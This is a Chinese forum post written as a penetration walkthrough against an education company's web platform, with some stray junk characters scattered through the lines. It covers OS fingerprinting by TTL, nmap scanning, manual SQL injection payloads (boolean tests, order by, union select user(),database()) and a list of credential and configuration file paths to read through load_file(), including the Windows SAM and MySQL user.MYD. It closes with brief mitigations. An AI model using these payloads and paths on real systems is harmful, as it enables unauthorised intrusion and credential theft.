题记：
- @9 R1 E1 ?* l! D# q" a一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
6 T+ S( M7 B" @9 }! i第一步：获取需要的信息
7 X0 c# D- }9 a/ {/ j; v3 M由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。9 K2 l. B- C1 m! |& ?
注：以下为保护特用XXX代替敏感信息
0 ^# U1 l$ ^) O4 U! ^! H# u0 e0 g顺手先PING了一下他们的域名：
& G7 E" D: o6 R6 h+ L7 o5 n* Uping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）# g* ] B$ Z; h) @5 V
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
& Y0 Z8 l* |3 f顺便了解一下TTL，学好基础知识才能一路顺风：
/ V- P# i% R* R9 sTTL：(Time To Live ) 生存时间4 Z& q% K6 e* F: J: e/ _
指定数据包被路由器丢弃之前允许通过的网段数量。
) \/ r1 y& N0 A( G- C" _2 ^* `TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。
8 S9 J7 b' d8 b* h6 x, q使用PING时涉及到的 ICMP 报文类型
4 [8 q7 N2 h) ]7 L6 v6 C一个为ICMP请求回显（ICMP Echo Request）
+ ]0 F- x4 e' p& [6 H一个为ICMP回显应答（ICMP Echo Reply）
; X% E9 D8 v6 ?5 CTTL 字段值可以帮助我们识别操作系统类型。
) U2 s, u6 S5 j' t- RUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2552 l4 Y- A) g( U; J! e
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
! Q, d0 p# a& h5 m8 U+ n微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
. Z+ T" `9 n( H, w2 h! G微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32! C4 |/ P; T0 _! P2 ^
当然，返回的TTL值是相同的
. W0 t: p+ D: V6 x但有些情况下有所特殊* u6 v" M2 \7 k9 _' V
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64& i/ F/ S2 Y0 P% D0 a
FreeBSD 4.1, 4.0, 3.4;
; M# ~( S5 c! eSun Solaris 2.5.1, 2.6, 2.7, 2.8;# X! k# c! a; m; I: z. V9 f
OpenBSD 2.6, 2.7, s; `; x% i- ?( W+ o) ^! g! D
NetBSD( g9 W" X! {0 v" Q( o" v
HP UX 10.20
7 N# {1 t1 W1 ]& {0 |. SICMP 回显应答的 TTL 字段值为 255* L! J5 V- \& \5 Q5 q
Windows 95/98/98SE; r8 a! S9 m7 c, K! {1 l
Windows ME
7 A# e& G* Z g6 t$ q7 r: N' h$ H" ZICMP 回显应答的 TTL 字段值为 32
$ J! q& d9 {4 B6 n& ]0 F; tWindows NT4 WRKS5 F, U" N+ _6 Q% ^7 ^; _+ \$ A8 B
Windows NT4 Server' d3 t# d- `9 ]& G
Windows 2000. R% {. K6 I3 E% P! P
Windows XP6 G9 v: y1 b9 _/ Z4 ^0 N
ICMP 回显应答的 TTL 字段值为 128
% f# L1 l: Q( o& y这样，我们就可以通过这种方法来辨别操作系统
: |8 R% k& g$ _1 MTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
) A6 o6 m" p/ Y; N6 K2 j9 r用NMAP扫描一下：
! K' G& f; T: a8 M5 Mnmap -sT -O XXX.XXX.XXX.XXX
, h3 V7 c0 [9 }; B ]3 d1 v( [如果没有装WinPcap则会弹出提示：3 _! q' H( p& ^3 H1 O) d6 j
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
" x% o" p& @# w% N2 K9 v/ Rade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
( o( R8 A! h) D& s2 I/ N) mode — Nmap may not function completely/ b2 F5 {, g( @
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
8 j, b; y, m1 Oand iphlpapi.dll be installed. You seem to be missing one or both of these. Win2 T& L" z+ ^8 ^4 |
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
1 s; _7 G$ I. \* c* h$ yd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v; w1 h, `2 e0 K
ersions, you may be able to take iphlpapi.dll from another system and place it i
' X: P0 T2 E0 hn your system32 dir (e.g. c:\windows\system32).' g# k7 n8 v8 ]8 b& r1 U- u
QUITTING!/ m3 ~- z2 [( O2 q0 A1 V
到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe6 w7 B4 p6 h8 e
安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：
4 n) x' j0 N9 |* mInteresting ports on XXX.XXX.XXX.XXX:' n/ Z, t' l1 l" K' i' L/ a0 V
Not shown: 986 closed ports; e3 i8 c7 i/ b4 g& s' C1 g+ H# I
PORT STATE SERVICE
2 j0 g" _3 d. g, d4 E6 n2 c4 i21/tcp open ftp$ I# [# I8 k& P$ W7 g$ s9 C
22/tcp open ssh
, J" H5 R' h9 d. Z4 v* r# N23/tcp open telnet
* P. H: p, e' ]/ M) \( O. o80/tcp open http4 v: v& _3 Q$ k6 j' J; k
111/tcp open rpcbind0 c/ I ^% x6 }, @3 U8 J
135/tcp filtered msrpc! D4 o& |' d3 X
139/tcp filtered netbios-ssn; ~0 G/ p" c1 `+ K* S4 F3 ?4 w
445/tcp filtered microsoft-ds
( k( a, x( I' {, e513/tcp open login
8 n" J8 d& D8 j3 L514/tcp open shell
. |. K7 P `+ s593/tcp filtered http-rpc-epmap
% }! @' ]! O5 B7 d: K0 x( A0 r1720/tcp filtered H.323/Q.931! g4 ^: m* k* b* } T
3306/tcp open mysql' g$ J- A, d7 E0 B
4444/tcp filtered krb5248 [: C' v m$ t- H; X" Z6 X
Device type: WAP; [! F# j8 v6 K/ p
Running: Linux 2.4.X- s1 }; V0 t2 q$ T1 t" |5 p
OS details: DD-WRT (Linux 2.4.35s)) w) t* P$ X/ r0 [, m
Network Distance: 13 hops( ]3 S7 a n% Q. G5 w& I* `
看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
3 x8 D& m0 F. A' Tlogin as:: C1 `9 w% H3 O: s
Telnet23端口也是开着的，用telnet 命令链接一下：
$ l {- b% K' k2 f# wtelnet XXX.XXX.XXX.XXX
: t) A% U3 s+ g8 E5 |提示：/ I/ U8 y# ?$ g# p# h
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
' Q" f2 Z( F/ ?6 {, r& @1 WKernel 2.6.18-92.el5PAE on an i686" S; R) p8 v+ [# C* [) |- h }
login:
9 R& z: w. N4 Z2 k N" P3 z获取HTTP头信息：1 U8 u- l+ i% h* c
在本地执行如下PHP代码
7 w# o8 }$ r& B' O0 I% |; w<?php
7 w/ u6 e" U# l4 x% F6 K$url = ‘XXX.XXX.XXX.XXX’;/ s* C' [! W) E0 q: W3 @
print_r(get_headers($url));1 m D7 i. Z& D6 i2 ^; M
print_r(get_headers($url, 1));
0 w2 i) F# S, Y7 u?>
- C2 y9 o# z- x; |+ J% l将以上代码保存为PHP文件，执行：! Z7 Q5 S. N$ t( s' O6 m
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
/ E, u. L3 C$ y9 M现在可以得出结论：
' x" m" U V) }9 g+ s" V/ m$ y3 o: p系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)9 a4 \; x" c+ ?# ?8 t! c
内核版本：Kernel 2.6.18-92.el5PAE on an i686
& w/ W5 n7 k7 b( k# X5 G1 [' LWEB服务器版本：nginx/0.7.61
/ r- U' b: R; F5 P( U- S8 I第二步，开始测试寻找漏洞
- [' j$ d) H2 ?7 W分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。
3 d9 K( j: M0 J1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的9 P! x N& K B( d# _# C" H4 p% L
2、测试方法：在地址后加 and 1=1 和 and 1=2 测试
5 M/ h8 U, A& Ghttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常/ v- w% y" Z3 `+ f+ T
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
' J0 c: V- b( E! V' v8 m. F2 ^恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续; \6 v) G* F" x0 {" ^- d3 c
3、手工注入：
* N3 i) ?. @; M" ^注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。$ v( O/ D% C: @8 f+ z9 A ~
3.1 猜测当前表字段数) o1 w2 j, Y$ c% x
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 106 A' l1 v1 Q, d& b" N/ P0 B- {
此处猜测有个简单的算法，都是有技巧的吗，呵呵- F/ e4 S# b3 {1 |. Z
算法简单如下：. R( v+ Z9 a2 V7 u8 X
第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；# ]+ Q5 H3 d/ _: n! ^
第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
7 p8 b' D% @" ]2 v需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。
( z/ U7 u/ Q1 c2 ~! h# d5 r以此来判断，是否过界，配合取中算法猜出字段数。
, p; r8 G( M( J* A5 _& C2 j4 t, C% W举例：% d6 }8 r3 ~. { ~6 f$ E c
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
2 o8 o" E1 F0 b$ ]* m9 Z+ }http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误: r" z2 U- r+ b4 r0 i) d
此时3则为我们要找的字段数。
& G* P! p0 J- \. E/ ?3.2 配合union联合查询字段在页面所位置
* O& W- d1 Q$ a- R我们已经知道了字段数为3，此时则可以做如下操作：+ y8 L% K) q5 D$ F; t+ {5 a k
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3 G- A9 l, U$ x$ O
% d. M4 i5 |1 A" y2 n. ^ }
这样就可以测试到哪些字段在页面上有所显示了，如图：+ d4 f1 @ j: ?% F! B* y, ~
$ e' Q* x# x' r1 \3.3 查敏感信息" e3 z9 ^/ Y! |- a3 I8 W6 V
这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。3 b6 [' U6 V0 `% D1 N' \
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()9 f; t+ M" r! `5 g8 E- [4 e
3.3.1 先查数据库用户、数据库名，以备后用，如图：
2 o A8 V1 M [- n J2 ?- C. _4 {
得到数据库用户为root、数据库名为DBxx；
* `! A4 g9 F5 r" e4 a/ U6 t b' n3.3.2 查配置文件
& F$ s. w" q; X) C查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
- z- k T! f/ W/ ]6 G# \查看文件有一定的条件限制：
- O1 x8 E' u) }3 q欲读取文件必须在服务器上
2 ^7 C8 ?5 N0 q' y3 ^必须指定文件完整的路径
/ ?( L3 `1 l4 x" a必须有权限读取并且文件必须完全可读
) H4 H6 H8 B, f3 s欲读取文件必须小于 max_allowed_packet
0 P+ m' ?! k' g. V) T: a8 {MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。# \8 Y7 P' y' O( B: [& W$ o% K
常用的一些：
2 a( X2 L5 u7 u9 V; [- I/ _# N/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 O7 v) d$ Z# {3 D$ q3 d H
/usr/local/apache2/conf/httpd.conf
% G6 `$ a- h5 a/ Z. ~. h/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
- h: \% {; l0 r V9 T& g) T/usr/local/app/php5/lib/php.ini //PHP相关设置
' ~4 i3 m/ o x) y; \/etc/sysconfig/iptables //从中得到防火墙规则策略
3 Y4 D4 i9 d6 w) i, P8 F/etc/httpd/conf/httpd.conf // apache配置文件, A( z9 w9 T3 {( u' a" C% H
/etc/rsyncd.conf //同步程序配置文件1 C% K+ e4 u( P8 I: `
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.6 {* u" \% ~3 b; B, n! p8 k4 D9 j
/etc/my.cnf //mysql的配置文件! {7 D: y% Q( V% T4 B1 x
/etc/redhat-release //系统版本7 e l$ Z: ^6 p" j3 K" Z
/etc/issue# K& y4 H4 [! r6 z( g
/etc/issue.net: \( x$ r8 A( }; e% }
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码# C1 z# J6 u4 B; G
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
5 f6 G. z$ t1 B' Gc:\Program Files\Serv-U\ServUDaemon.ini3 K; N! O" p, T& {& R, y( J
c:\windows\my.ini //MYSQL配置文件" m1 ]* Z8 F7 A4 q0 K5 [
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
- D7 m3 ?7 w$ L; p9 @等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
) g3 _ D2 k/ Y6 P; n" B% Pc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
) N) u1 x+ w# U: Z# {& D" ~. Lc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此) W( o+ Y0 ]7 M, D# t }2 k
c:\Program Files\RhinoSoft.com\ServUDaemon.exe4 ^: \% U+ |- }6 E, q
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件- K; K+ V {: ]
//存储了pcAnywhere的登陆密码# m1 P6 T D1 o/ M8 p- \
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
7 z: i# N/ T- k# K; U' @这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
. R9 u9 P z; P6 z最后：防范措施8 F/ \# U; X/ L/ r& r, b
1、修复PHP注入漏洞； W& [: Q. ], d8 W3 X
2、Mysql使用普通权限的用户；( E% ~+ G% b9 {) K6 E- }
3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对